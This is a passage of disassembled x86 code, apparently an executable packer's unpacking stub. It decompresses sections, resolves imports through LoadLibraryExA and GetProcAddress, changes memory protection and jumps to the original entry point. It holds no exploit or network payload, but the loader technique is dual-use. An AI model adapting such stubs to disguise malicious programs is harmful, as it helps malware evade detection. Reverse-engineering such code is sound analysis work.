		push	esi
		push	edi
		push	eax
		call	sub_42BE82
		add	esp, 28h
		mov	esi, [ebp+var_8]
		xor	ebx, ebx
		mov	edi, eax
		push	8000h
		push	ebx
		push	[ebp+var_C]
		call	dword_42B10C	; VirtualFree
		lea	eax, [ebp+var_10]
		mov	[ebp+var_14], ebx
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	ebx
		push	esi
		mov	[ebp+var_10], 0FFFFFFFBh
		push	[ebp+arg_8]
		call	sub_42BA75
		add	esp, 14h
		mov	eax, edi


loc_42B418:				; CODE XREF: sub_42B344+75j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42B344	endp


; =============== S U B	R O U T	I N E =======================================



sub_42B41D	proc near		; CODE XREF: sub_42B42C:loc_42B4C5p
		mov	ecx, off_42B004
		mov	eax, offset sub_42B42C
		sub	eax, [ecx+50h]
		retn
sub_42B41D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B42C	proc near		; CODE XREF: start+189j
					; DATA XREF: sub_42B41D+6o

var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_244		= dword	ptr -244h
var_240		= dword	ptr -240h
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= byte ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 250h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_230], 0
		rep jmp	short loc_42B44E
; ---------------------------------------------------------------------------
		dw 5865h
		dd 762D7250h, 352E312Eh
		db 2Eh,	0
; ---------------------------------------------------------------------------


loc_42B44E:				; CODE XREF: sub_42B42C+13j
		cmp	[ebp+arg_4], 1
		jnz	short loc_42B45E
		mov	eax, [ebp+arg_0]
		mov	dword_42B014, eax
		jmp	short loc_42B462
; ---------------------------------------------------------------------------


loc_42B45E:				; CODE XREF: sub_42B42C+26j
		and	[ebp+arg_0], 0


loc_42B462:				; CODE XREF: sub_42B42C+30j
		cmp	[ebp+arg_4], 0
		jnz	short loc_42B47F
		cmp	dword_42B018, 0
		jz	short loc_42B47F
		cmp	dword_42B014, 0
		jz	short loc_42B47F
		jmp	loc_42BA73
; ---------------------------------------------------------------------------


loc_42B47F:				; CODE XREF: sub_42B42C+3Aj
					; sub_42B42C+43j ...
		cmp	dword_42B00C, 0
		jz	short loc_42B48D
		jmp	loc_42BA0E
; ---------------------------------------------------------------------------


loc_42B48D:				; CODE XREF: sub_42B42C+5Aj
		mov	dword_42B00C, 1
		mov	eax, dword_42B000
		add	eax, offset dword_42B000
		mov	off_42B004, eax
		mov	eax, off_42B004
		cmp	dword ptr [eax+4Ch], 0
		jnz	short loc_42B4C5
		push	10h
		push	offset aInfo	; "Info"
		push	offset aThisApplicatio ; "This application was packed with an Unr"...
		push	0
		call	dword_42B130	; MessageBoxA


loc_42B4C5:				; CODE XREF: sub_42B42C+83j
		call	sub_42B41D
		mov	dword_42B008, eax
		push	104h
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+arg_0]
		call	dword_42B128	; GetModuleFileNameA
		lea	eax, [ebp+eax+var_211]
		mov	[ebp+var_224], eax


loc_42B4F1:				; CODE XREF: sub_42B42C+E0j
		mov	eax, [ebp+var_224]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jz	short loc_42B50E
		mov	eax, [ebp+var_224]
		dec	eax
		mov	[ebp+var_224], eax
		jmp	short loc_42B4F1
; ---------------------------------------------------------------------------


loc_42B50E:				; CODE XREF: sub_42B42C+D1j
		mov	eax, [ebp+var_224]
		inc	eax
		mov	[ebp+var_224], eax
		mov	eax, [ebp+var_224]
		lea	ecx, [ebp+var_210]
		sub	eax, ecx
		mov	[ebp+var_24C], eax
		mov	ecx, [ebp+var_24C]
		lea	esi, [ebp+var_210]
		lea	edi, [ebp+var_104]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_24C]
		and	[ebp+eax+var_103], 0
		mov	eax, dword_42B008
		mov	[ebp+var_248], eax
		mov	eax, [ebp+var_248]
		mov	ecx, dword_42B008
		add	ecx, [eax+3Ch]
		mov	[ebp+var_228], ecx
		mov	eax, off_42B004
		cmp	dword ptr [eax+6Ch], 0
		jz	loc_42B6BE
		push	4
		push	1000h
		mov	eax, off_42B004
		push	dword ptr [eax+38h]
		push	0
		call	dword_42B110	; VirtualAlloc
		mov	[ebp+var_240], eax
		mov	eax, [ebp+var_240]
		mov	[ebp+var_238], eax
		cmp	[ebp+var_238], 0
		jnz	short loc_42B5C3
		jmp	loc_42BA71
; ---------------------------------------------------------------------------


loc_42B5C3:				; CODE XREF: sub_42B42C+190j
		mov	eax, off_42B004
		mov	eax, [eax+3Ch]
		mov	[ebp+var_22C], eax
		mov	eax, off_42B004
		mov	ecx, dword_42B008
		add	ecx, [eax+44h]
		mov	eax, off_42B004
		mov	esi, [ebp+var_228]
		mov	eax, [eax+80h]
		xor	edx, edx
		div	dword ptr [esi+3Ch]
		add	ecx, edx
		mov	[ebp+var_218], ecx
		push	[ebp+var_238]
		mov	eax, off_42B004
		push	dword ptr [eax+38h]
		push	[ebp+var_218]
		call	sub_42B344
		add	esp, 0Ch
		jmp	short loc_42B628
; ---------------------------------------------------------------------------


loc_42B61B:				; CODE XREF: sub_42B42C+275j
		mov	eax, [ebp+var_230]
		inc	eax
		mov	[ebp+var_230], eax


loc_42B628:				; CODE XREF: sub_42B42C+1EDj
		mov	eax, off_42B004
		movzx	eax, word ptr [eax+78h]
		cmp	[ebp+var_230], eax
		jge	short loc_42B6A6
		mov	eax, [ebp+var_230]
		imul	eax, 18h
		mov	ecx, off_42B004
		mov	ecx, [ecx+eax+84h]
		mov	esi, [ebp+var_238]
		mov	eax, [ebp+var_230]
		imul	eax, 18h
		mov	edx, off_42B004
		mov	edi, dword_42B008
		add	edi, [edx+eax+88h]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebp+var_230]
		imul	eax, 18h
		mov	ecx, off_42B004
		mov	edx, [ebp+var_238]
		add	edx, [ecx+eax+84h]
		mov	[ebp+var_238], edx
		jmp	loc_42B61B
; ---------------------------------------------------------------------------


loc_42B6A6:				; CODE XREF: sub_42B42C+20Bj
		push	8000h
		push	0
		push	[ebp+var_240]
		call	dword_42B10C	; VirtualFree
		jmp	loc_42B7E3
; ---------------------------------------------------------------------------


loc_42B6BE:				; CODE XREF: sub_42B42C+15Aj
		mov	eax, off_42B004
		mov	ecx, dword_42B008
		add	ecx, [eax+44h]
		mov	eax, off_42B004
		sub	ecx, [eax+40h]
		mov	eax, off_42B004
		mov	esi, [ebp+var_228]
		mov	eax, [eax+80h]
		xor	edx, edx
		div	dword ptr [esi+3Ch]
		add	ecx, edx
		mov	[ebp+var_240], ecx
		and	[ebp+var_230], 0
		jmp	short loc_42B708
; ---------------------------------------------------------------------------


loc_42B6FB:				; CODE XREF: sub_42B42C:loc_42B7DEj
		mov	eax, [ebp+var_230]
		inc	eax
		mov	[ebp+var_230], eax


loc_42B708:				; CODE XREF: sub_42B42C+2CDj
		mov	eax, off_42B004
		movzx	eax, word ptr [eax+78h]
		cmp	[ebp+var_230], eax
		jge	loc_42B7E3
		mov	eax, [ebp+var_230]
		imul	eax, 18h
		mov	ecx, off_42B004
		cmp	dword ptr [ecx+eax+7Ch], 0
		jz	loc_42B7DE
		mov	eax, [ebp+var_230]
		imul	eax, 18h
		mov	ecx, off_42B004
		cmp	dword ptr [ecx+eax+84h], 0
		jbe	loc_42B7DE
		mov	eax, [ebp+var_230]
		imul	eax, 18h
		mov	ecx, off_42B004
		mov	edx, dword_42B008
		add	edx, [ecx+eax+88h]
		mov	[ebp+var_238], edx
		mov	eax, [ebp+var_230]
		imul	eax, 18h
		mov	ecx, off_42B004
		mov	eax, [ecx+eax+84h]
		mov	[ebp+var_22C], eax
		mov	eax, [ebp+var_230]
		imul	eax, 18h
		mov	ecx, off_42B004
		mov	edx, [ebp+var_240]
		add	edx, [ecx+eax+80h]
		mov	[ebp+var_218], edx
		push	[ebp+var_238]
		mov	eax, [ebp+var_230]
		imul	eax, 18h
		mov	ecx, off_42B004
		push	dword ptr [ecx+eax+84h]
		push	[ebp+var_218]
		call	sub_42B344
		add	esp, 0Ch


loc_42B7DE:				; CODE XREF: sub_42B42C+305j
					; sub_42B42C+322j
		jmp	loc_42B6FB
; ---------------------------------------------------------------------------


loc_42B7E3:				; CODE XREF: sub_42B42C+28Dj
					; sub_42B42C+2EBj
		mov	eax, off_42B004
		mov	ecx, dword_42B008
		add	ecx, [eax+5Ch]
		mov	[ebp+var_244], ecx


loc_42B7F7:				; CODE XREF: sub_42B42C+5C9j
		mov	eax, [ebp+var_244]
		cmp	dword ptr [eax+0Ch], 0
		jz	loc_42B9FA
		mov	eax, off_42B004
		cmp	dword ptr [eax+5Ch], 0
		jz	loc_42B9FA
		lea	eax, [ebp+var_234]
		push	eax
		push	40h
		push	14h
		push	[ebp+var_244]
		call	dword_42B124	; VirtualProtect
		mov	eax, [ebp+var_244]
		mov	ecx, dword_42B008
		add	ecx, [eax+0Ch]
		mov	[ebp+var_10C], ecx
		push	[ebp+var_10C]
		call	dword_42B120	; GetModuleHandleA
		mov	[ebp+var_23C], eax
		cmp	[ebp+var_23C], 0
		jnz	short loc_42B873
		push	8
		push	0
		push	[ebp+var_10C]
		call	dword_42B11C	; LoadLibraryExA
		mov	[ebp+var_23C], eax


loc_42B873:				; CODE XREF: sub_42B42C+42Fj
		cmp	[ebp+var_23C], 0
		jnz	short loc_42B8C5
		mov	edi, [ebp+var_10C]
		mov	eax, [ebp+var_24C]
		lea	eax, [ebp+eax+var_104]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	eax, ecx
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		push	8
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		call	dword_42B11C	; LoadLibraryExA
		mov	[ebp+var_23C], eax


loc_42B8C5:				; CODE XREF: sub_42B42C+44Ej
		cmp	[ebp+var_23C], 0
		jnz	short loc_42B8D3
		jmp	loc_42BA6F
; ---------------------------------------------------------------------------


loc_42B8D3:				; CODE XREF: sub_42B42C+4A0j
		mov	eax, [ebp+var_244]
		mov	ecx, dword_42B008
		add	ecx, [eax+10h]
		mov	[ebp+var_21C], ecx
		mov	eax, [ebp+var_244]
		cmp	dword ptr [eax], 0
		jnz	short loc_42B901
		mov	eax, [ebp+var_21C]
		mov	[ebp-214h], eax
		jmp	short loc_42B915
; ---------------------------------------------------------------------------


loc_42B901:				; CODE XREF: sub_42B42C+4C5j
		mov	eax, [ebp+var_244]
		mov	ecx, dword_42B008
		add	ecx, [eax]
		mov	[ebp-214h], ecx


loc_42B915:				; CODE XREF: sub_42B42C+4D3j
					; sub_42B42C+5B5j
		mov	eax, [ebp-214h]
		cmp	dword ptr [eax], 0
		jz	loc_42B9E6
		and	[ebp+var_250], 0
		mov	eax, [ebp-214h]
		mov	eax, [eax]
		and	eax, 80000000h
		test	eax, eax
		jz	short loc_42B961
		mov	eax, [ebp-214h]
		mov	eax, [eax]
		and	eax, 0FFFFh
		movzx	eax, ax
		push	eax
		push	[ebp+var_23C]
		call	dword_42B118	; GetProcAddress
		mov	[ebp+var_250], eax
		jmp	short loc_42B990
; ---------------------------------------------------------------------------


loc_42B961:				; CODE XREF: sub_42B42C+50Ej
		mov	eax, [ebp-214h]
		mov	eax, [eax]
		add	eax, dword_42B008
		mov	[ebp+var_108], eax
		mov	eax, [ebp+var_108]
		inc	eax
		inc	eax
		push	eax
		push	[ebp+var_23C]
		call	dword_42B118	; GetProcAddress
		mov	[ebp+var_250], eax


loc_42B990:				; CODE XREF: sub_42B42C+533j
		cmp	[ebp+var_250], 0
		jnz	short loc_42B99E
		jmp	loc_42BA6D
; ---------------------------------------------------------------------------


loc_42B99E:				; CODE XREF: sub_42B42C+56Bj
		lea	eax, [ebp+var_234]
		push	eax
		push	40h
		push	4
		push	[ebp+var_21C]
		call	dword_42B124	; VirtualProtect
		mov	eax, [ebp+var_21C]
		mov	ecx, [ebp+var_250]
		mov	[eax], ecx
		mov	eax, [ebp-214h]
		add	eax, 4
		mov	[ebp-214h], eax
		mov	eax, [ebp+var_21C]
		add	eax, 4
		mov	[ebp+var_21C], eax
		jmp	loc_42B915
; ---------------------------------------------------------------------------


loc_42B9E6:				; CODE XREF: sub_42B42C+4F2j
		mov	eax, [ebp+var_244]
		add	eax, 14h
		mov	[ebp+var_244], eax
		jmp	loc_42B7F7
; ---------------------------------------------------------------------------


loc_42B9FA:				; CODE XREF: sub_42B42C+3D5j
					; sub_42B42C+3E4j
		mov	eax, off_42B004
		mov	ecx, dword_42B008
		add	ecx, [eax+48h]
		mov	dword_42B01C, ecx


loc_42BA0E:				; CODE XREF: sub_42B42C+5Cj
		cmp	dword_42B010, 0
		jz	short loc_42BA2A
		push	8000h
		push	0
		push	dword_42B010
		call	dword_42B10C	; VirtualFree


loc_42BA2A:				; CODE XREF: sub_42B42C+5E9j
		mov	eax, dword_42B01C
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		push	eax
		mov	eax, off_42B004
		cmp	dword ptr [eax+48h], 0
		jnz	short loc_42BA46
		pop	eax
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_42BA46:				; CODE XREF: sub_42B42C+613j
		pop	eax
		jmp	eax
; ---------------------------------------------------------------------------


loc_42BA49:				; CODE XREF: sub_42B42C:loc_42BA6Dj
					; sub_42B42C:loc_42BA6Fj ...
		cmp	dword_42B010, 0
		jz	short loc_42BA65
		push	8000h
		push	0
		push	dword_42B010
		call	dword_42B10C	; VirtualFree


loc_42BA65:				; CODE XREF: sub_42B42C+624j
		push	0
		call	dword_42B114	; ExitProcess


loc_42BA6D:				; CODE XREF: sub_42B42C+56Dj
		jmp	short loc_42BA49
; ---------------------------------------------------------------------------


loc_42BA6F:				; CODE XREF: sub_42B42C+4A2j
		jmp	short loc_42BA49
; ---------------------------------------------------------------------------


loc_42BA71:				; CODE XREF: sub_42B42C+192j
		jmp	short loc_42BA49
; ---------------------------------------------------------------------------


loc_42BA73:				; CODE XREF: sub_42B42C+4Ej
		jmp	short loc_42BA49
sub_42B42C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BA75	proc near		; CODE XREF: sub_42B344+CAp

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		push	1
		mov	esi, [ebp+arg_C]
		pop	ecx
		mov	[ebp+var_2C], ecx
		mov	[ebp+var_28], ecx
		mov	[ebp+var_24], ecx
		xor	eax, eax
		and	[ebp+var_C], al
		mov	[ebp+var_1C], ecx
		mov	[ebp+var_B], cl
		mov	ecx, [ebp+arg_4]
		add	ecx, 0FFFFFFFBh
		mov	[ebp+var_20], eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_A], 2
		mov	[ebp+var_9], 2
		mov	[ebp+var_8], 3
		mov	[ebp+var_7], 3
		mov	[ebp+var_6], 3
		mov	[ebp+var_5], 3
		mov	[ebp+var_4], ecx


loc_42BAC5:				; CODE XREF: sub_42BA75+16Fj
		mov	edi, [ebp+arg_0]
		mov	cl, [eax+edi]
		cmp	cl, 0E8h
		jz	short loc_42BADB
		cmp	cl, 0E9h
		jz	short loc_42BADB
		inc	eax
		jmp	loc_42BBE1
; ---------------------------------------------------------------------------


loc_42BADB:				; CODE XREF: sub_42BA75+59j
					; sub_42BA75+5Ej
		mov	edx, [ebp+arg_10]
		mov	ebx, [ebp+arg_8]
		mov	ecx, eax
		sub	ecx, [edx]
		add	ecx, ebx
		add	ebx, eax
		cmp	ecx, 5
		mov	[edx], ebx
		jbe	short loc_42BAF5
		and	dword ptr [esi], 0
		jmp	short loc_42BB05
; ---------------------------------------------------------------------------


loc_42BAF5:				; CODE XREF: sub_42BA75+79j
		test	ecx, ecx
		jbe	short loc_42BB05


loc_42BAF9:				; CODE XREF: sub_42BA75+8Ej
		mov	edx, [esi]
		and	edx, 77h
		shl	edx, 1
		dec	ecx
		mov	[esi], edx
		jnz	short loc_42BAF9


loc_42BB05:				; CODE XREF: sub_42BA75+7Ej
					; sub_42BA75+82j
		mov	dl, [eax+edi+4]
		test	dl, dl
		jz	short loc_42BB16
		cmp	dl, 0FFh
		jnz	loc_42BBCD


loc_42BB16:				; CODE XREF: sub_42BA75+96j
		mov	ecx, [esi]
		mov	[ebp+arg_4], ecx
		shr	[ebp+arg_4], 1
		mov	ebx, [ebp+arg_4]
		and	ebx, 7
		cmp	[ebp+ebx*4+var_2C], 0
		jz	loc_42BBCD
		and	ecx, 0FFFFFFFEh
		cmp	ecx, 20h
		jnb	loc_42BBCD
		xor	ecx, ecx
		mov	ch, dl
		mov	cl, [eax+edi+3]
		movzx	edx, byte ptr [eax+edi+2]
		shl	ecx, 8
		or	ecx, edx
		movzx	edx, byte ptr [eax+edi+1]
		shl	ecx, 8
		or	edx, ecx


loc_42BB57:				; CODE XREF: sub_42BA75+125j
		sub	edx, eax
		sub	edx, [ebp+arg_8]
		sub	edx, 5
		cmp	dword ptr [esi], 0
		mov	ebx, edx
		jz	short loc_42BB9F
		mov	ecx, [ebp+arg_4]
		push	18h
		movzx	edi, [ebp+ecx+var_C]
		mov	ecx, edi
		shl	ecx, 3
		mov	edx, ecx
		pop	ecx
		sub	ecx, edx
		mov	edx, ebx
		shr	edx, cl
		test	dl, dl
		jz	short loc_42BB87
		cmp	dl, 0FFh
		jnz	short loc_42BB9C


loc_42BB87:				; CODE XREF: sub_42BA75+10Bj
		push	4
		pop	ecx
		sub	ecx, edi
		push	1
		shl	ecx, 3
		pop	edx
		mov	edi, [ebp+arg_0]
		shl	edx, cl
		dec	edx
		xor	edx, ebx
		jmp	short loc_42BB57
; ---------------------------------------------------------------------------


loc_42BB9C:				; CODE XREF: sub_42BA75+110j
		mov	edi, [ebp+arg_0]


loc_42BB9F:				; CODE XREF: sub_42BA75+EFj
		mov	ecx, ebx
		add	eax, 5
		shr	ecx, 18h
		and	cl, 1
		dec	cl
		not	cl
		mov	[eax+edi-1], cl
		mov	ecx, ebx
		shr	ecx, 10h
		mov	[eax+edi-2], cl
		mov	ecx, ebx
		shr	ecx, 8
		mov	[eax+edi-3], cl
		mov	[eax+edi-4], bl
		and	dword ptr [esi], 0
		jmp	short loc_42BBE1
; ---------------------------------------------------------------------------


loc_42BBCD:				; CODE XREF: sub_42BA75+9Bj
					; sub_42BA75+B4j ...
		or	dword ptr [esi], 1
		mov	ecx, [esi]
		inc	eax
		test	dl, dl
		jz	short loc_42BBDC
		cmp	dl, 0FFh
		jnz	short loc_42BBE1


loc_42BBDC:				; CODE XREF: sub_42BA75+160j
		or	ecx, 10h
		mov	[esi], ecx


loc_42BBE1:				; CODE XREF: sub_42BA75+61j
					; sub_42BA75+156j ...
		cmp	eax, [ebp+var_4]
		jbe	loc_42BAC5
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42BA75	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BBEF	proc near		; CODE XREF: sub_42BE82+309p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		push	esi
		xor	eax, eax
		mov	esi, [ecx+8]
		push	edi
		mov	edi, [ecx+0Ch]
		test	edx, edx
		jle	short loc_42BC47
		push	ebx
		mov	[ebp+arg_0], edx


loc_42BC0A:				; CODE XREF: sub_42BBEF+55j
		shr	esi, 1
		shl	eax, 1
		cmp	edi, esi
		jb	short loc_42BC16
		sub	edi, esi
		or	al, 1


loc_42BC16:				; CODE XREF: sub_42BBEF+21j
		cmp	esi, 1000000h
		jnb	short loc_42BC41
		mov	edx, [ecx]
		shl	esi, 8
		cmp	edx, [ecx+4]
		jnz	short loc_42BC34
		mov	dword ptr [ecx+10h], 1
		or	bl, 0FFh
		jmp	short loc_42BC39
; ---------------------------------------------------------------------------


loc_42BC34:				; CODE XREF: sub_42BBEF+37j
		mov	bl, [edx]
		inc	edx
		mov	[ecx], edx


loc_42BC39:				; CODE XREF: sub_42BBEF+43j
		movzx	edx, bl
		shl	edi, 8
		or	edi, edx


loc_42BC41:				; CODE XREF: sub_42BBEF+2Dj
		dec	[ebp+arg_0]
		jnz	short loc_42BC0A
		pop	ebx


loc_42BC47:				; CODE XREF: sub_42BBEF+15j
		mov	[ecx+0Ch], edi
		mov	[ecx+8], esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_42BBEF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42BC51	proc near		; CODE XREF: sub_42BD16+1Dp
					; sub_42BD4D+1Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	eax, [ecx+8]
		movzx	esi, word ptr [edx]
		mov	edi, eax
		shr	edi, 0Bh
		imul	edi, esi
		mov	esi, [ecx+0Ch]
		cmp	esi, edi
		jnb	short loc_42BCC2
		mov	[ecx+8], edi
		mov	ax, [edx]
		movzx	esi, ax
		mov	edi, 800h
		sub	edi, esi
		sar	edi, 5
		add	edi, eax
		mov	[edx], di
		mov	eax, [ecx+8]
		cmp	eax, 1000000h
		jnb	short loc_42BCBE
		mov	esi, [ecx]
		cmp	esi, [ecx+4]
		jnz	short loc_42BCA5
		mov	dword ptr [ecx+10h], 1
		or	dl, 0FFh
		jmp	short loc_42BCAA
; ---------------------------------------------------------------------------


loc_42BCA5:				; CODE XREF: sub_42BC51+46j
		mov	dl, [esi]
		inc	esi
		mov	[ecx], esi


loc_42BCAA:				; CODE XREF: sub_42BC51+52j
		mov	esi, [ecx+0Ch]
		movzx	edx, dl
		shl	esi, 8
		or	esi, edx
		shl	eax, 8
		mov	[ecx+0Ch], esi
		mov	[ecx+8], eax


loc_42BCBE:				; CODE XREF: sub_42BC51+3Fj
		xor	eax, eax
		jmp	short loc_42BD13
; ---------------------------------------------------------------------------


loc_42BCC2:				; CODE XREF: sub_42BC51+1Dj
		sub	eax, edi
		sub	esi, edi
		mov	[ecx+8], eax
		mov	[ecx+0Ch], esi
		mov	ax, [edx]
		push	1
		mov	si, ax
		shr	si, 5
		sub	eax, esi
		mov	[edx], ax
		mov	edx, [ecx+8]
		cmp	edx, 1000000h
		pop	eax
		jnb	short loc_42BD13
		mov	esi, [ecx]
		push	ebx
		cmp	esi, [ecx+4]
		jnz	short loc_42BCF9
		mov	[ecx+10h], eax
		or	bl, 0FFh
		jmp	short loc_42BCFE
; ---------------------------------------------------------------------------


loc_42BCF9:				; CODE XREF: sub_42BC51+9Ej
		mov	bl, [esi]
		inc	esi
		mov	[ecx], esi


loc_42BCFE:				; CODE XREF: sub_42BC51+A6j
		mov	esi, [ecx+0Ch]
		movzx	edi, bl
		shl	esi, 8
		or	esi, edi
		pop	ebx
		shl	edx, 8
		mov	[ecx+0Ch], esi
		mov	[ecx+8], edx


loc_42BD13:				; CODE XREF: sub_42BC51+6Fj
					; sub_42BC51+96j
		pop	edi
		pop	esi
		retn
sub_42BC51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BD16	proc near		; CODE XREF: sub_42BE0D+26p
					; sub_42BE0D+51p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	1
		pop	eax
		jle	short loc_42BD41
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]


loc_42BD27:				; CODE XREF: sub_42BD16+27j
		push	[ebp+arg_8]
		lea	esi, [eax+eax]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	eax
		call	sub_42BC51
		pop	ecx
		add	eax, esi
		dec	edi
		pop	ecx
		jnz	short loc_42BD27
		pop	edi
		pop	esi


loc_42BD41:				; CODE XREF: sub_42BD16+Aj
		mov	ecx, [ebp+arg_4]
		push	1
		pop	edx
		shl	edx, cl
		sub	eax, edx
		pop	ebp
		retn
sub_42BD16	endp


; =============== S U B	R O U T	I N E =======================================



sub_42BD4D	proc near		; CODE XREF: sub_42BE82+2F5p
					; sub_42BE82+320p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	edi
		xor	ebx, ebx
		push	1
		xor	edi, edi
		cmp	[esp+0Ch+arg_4], ebx
		pop	edx
		jle	short loc_42BD83
		push	esi


loc_42BD5D:				; CODE XREF: sub_42BD4D+33j
		mov	eax, [esp+0Ch+arg_0]
		push	[esp+0Ch+arg_8]
		lea	esi, [edx+edx]
		add	eax, esi
		push	eax
		call	sub_42BC51
		pop	ecx
		lea	edx, [esi+eax]
		pop	ecx
		mov	ecx, edi
		shl	eax, cl
		or	ebx, eax
		inc	edi
		cmp	edi, [esp+0Ch+arg_4]
		jl	short loc_42BD5D
		pop	esi


loc_42BD83:				; CODE XREF: sub_42BD4D+Dj
		mov	eax, ebx
		pop	edi
		pop	ebx
		retn
sub_42BD4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42BD88	proc near		; CODE XREF: sub_42BE82+143p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		movzx	esi, [ebp+arg_8]
		shr	esi, 7
		shl	[ebp+arg_8], 1
		mov	eax, esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	[ebp+arg_4]
		shl	eax, 9
		lea	eax, [eax+edi+202h]
		push	eax
		call	sub_42BC51
		pop	ecx
		mov	ebx, eax
		pop	ecx
		or	ebx, 2


loc_42BDB7:				; CODE XREF: sub_42BD88+5Fj
		cmp	esi, eax
		jnz	short loc_42BDE9
		cmp	ebx, 100h
		jge	short loc_42BE06
		movzx	esi, [ebp+arg_8]
		shr	esi, 7
		push	[ebp+arg_4]
		lea	eax, [esi+1]
		shl	[ebp+arg_8], 1
		shl	eax, 8
		add	eax, ebx
		lea	eax, [edi+eax*2]
		push	eax
		call	sub_42BC51
		pop	ecx
		add	ebx, ebx
		pop	ecx
		or	ebx, eax
		jmp	short loc_42BDB7
; ---------------------------------------------------------------------------


loc_42BDE9:				; CODE XREF: sub_42BD88+31j
		mov	esi, 100h


loc_42BDEE:				; CODE XREF: sub_42BD88+7Cj
		cmp	ebx, esi
		jge	short loc_42BE06
		push	[ebp+arg_4]
		add	ebx, ebx
		lea	eax, [ebx+edi]
		push	eax
		call	sub_42BC51
		pop	ecx
		or	ebx, eax
		pop	ecx
		jmp	short loc_42BDEE
; ---------------------------------------------------------------------------


loc_42BE06:				; CODE XREF: sub_42BD88+39j
					; sub_42BD88+68j
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42BD88	endp


; =============== S U B	R O U T	I N E =======================================



sub_42BE0D	proc near		; CODE XREF: sub_42BE82+24Fp
					; sub_42BE82+29Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	edi
		push	esi
		call	sub_42BC51
		pop	ecx
		pop	ecx
		test	eax, eax
		push	edi
		jnz	short loc_42BE3D
		mov	eax, [esp+0Ch+arg_8]
		push	3
		shl	eax, 4
		lea	eax, [eax+esi+4]
		push	eax
		call	sub_42BD16
		add	esp, 0Ch
		jmp	short loc_42BE7F
; ---------------------------------------------------------------------------


loc_42BE3D:				; CODE XREF: sub_42BE0D+16j
		lea	eax, [esi+2]
		push	eax
		call	sub_42BC51
		pop	ecx
		pop	ecx
		test	eax, eax
		push	edi
		jnz	short loc_42BE6B
		mov	eax, [esp+0Ch+arg_8]
		push	3
		shl	eax, 4
		lea	eax, [eax+esi+104h]
		push	eax
		call	sub_42BD16
		add	esp, 0Ch
		add	eax, 8
		jmp	short loc_42BE7F
; ---------------------------------------------------------------------------


loc_42BE6B:				; CODE XREF: sub_42BE0D+3Ej
		add	esi, 204h
		push	8
		push	esi
		call	sub_42BD16
		add	esp, 0Ch
		add	eax, 10h


